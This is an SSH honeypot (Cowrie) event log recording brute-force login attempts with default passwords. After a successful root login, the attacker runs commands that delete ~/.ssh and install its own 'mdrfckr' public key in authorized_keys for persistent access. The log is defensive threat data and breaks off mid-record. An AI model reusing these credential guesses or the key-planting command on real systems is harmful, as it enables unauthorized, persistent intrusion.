{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:30.881890Z","src_ip":"194.164.62.66","session":"41e3ee89d767","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:30.884141Z","src_ip":"194.164.62.66","session":"41e3ee89d767","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:30.987592Z","src_ip":"194.164.62.66","session":"41e3ee89d767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:31.292349Z","src_ip":"194.164.62.66","session":"41e3ee89d767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42398,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8faec38b4b2","protocol":"ssh","message":"New connection: 195.178.110.218:42398 (159.203.135.109:22) [session: b8faec38b4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:40.071757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:40.076124Z","src_ip":"195.178.110.218","session":"b8faec38b4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:40.151471Z","src_ip":"195.178.110.218","session":"b8faec38b4b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:40.377730Z","src_ip":"195.178.110.218","session":"b8faec38b4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:41.456218Z","src_ip":"195.178.110.218","session":"b8faec38b4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.62.66","src_port":43616,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a25443d2a83","protocol":"ssh","message":"New connection: 194.164.62.66:43616 (159.203.135.109:22) [session: 0a25443d2a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:43.242965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:43.382022Z","src_ip":"194.164.62.66","session":"0a25443d2a83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:43.477179Z","src_ip":"194.164.62.66","session":"0a25443d2a83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:43.890868Z","src_ip":"194.164.62.66","session":"0a25443d2a83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:44.991526Z","src_ip":"194.164.62.66","session":"0a25443d2a83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.62.66","src_port":34742,"dst_ip":"159.203.135.109","dst_port":22,"session":"1356e0877967","protocol":"ssh","message":"New connection: 194.164.62.66:34742 (159.203.135.109:22) [session: 1356e0877967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:56.248979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:56.252777Z","src_ip":"194.164.62.66","session":"1356e0877967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:56.359352Z","src_ip":"194.164.62.66","session":"1356e0877967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:56.666415Z","src_ip":"194.164.62.66","session":"1356e0877967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:07:57.771283Z","src_ip":"194.164.62.66","session":"1356e0877967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.173.116.24","src_port":57048,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bc7e48fdfce","protocol":"ssh","message":"New connection: 20.173.116.24:57048 (159.203.135.109:22) [session: 7bc7e48fdfce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:02.379002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:02.387648Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:02.544067Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Rs123456.","message":"login attempt [root/Rs123456.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:03.199858Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:03.551747Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:03.555224Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:03.558915Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:03.718220Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:04.072353Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:04.075875Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:04.237395Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:04.240799Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.173.116.24","src_port":57062,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5756204d9c7","protocol":"ssh","message":"New connection: 20.173.116.24:57062 (159.203.135.109:22) [session: f5756204d9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:04.393270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:04.397483Z","src_ip":"20.173.116.24","session":"f5756204d9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:04.556212Z","src_ip":"20.173.116.24","session":"f5756204d9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:05.220911Z","src_ip":"20.173.116.24","session":"f5756204d9c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:06.381850Z","src_ip":"20.173.116.24","session":"f5756204d9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.173.116.24","src_port":57078,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf1c814d9082","protocol":"ssh","message":"New connection: 20.173.116.24:57078 (159.203.135.109:22) [session: cf1c814d9082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:06.534810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:06.540461Z","src_ip":"20.173.116.24","session":"cf1c814d9082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:06.696482Z","src_ip":"20.173.116.24","session":"cf1c814d9082","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:07.356986Z","src_ip":"20.173.116.24","session":"cf1c814d9082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:07.515965Z","src_ip":"20.173.116.24","session":"7bc7e48fdfce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:07.522906Z","src_ip":"20.173.116.24","session":"cf1c814d9082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.62.66","src_port":51466,"dst_ip":"159.203.135.109","dst_port":22,"session":"858e01bf7f65","protocol":"ssh","message":"New connection: 194.164.62.66:51466 (159.203.135.109:22) [session: 858e01bf7f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:09.282652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:08:09.286875Z","src_ip":"194.164.62.66","session":"858e01bf7f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@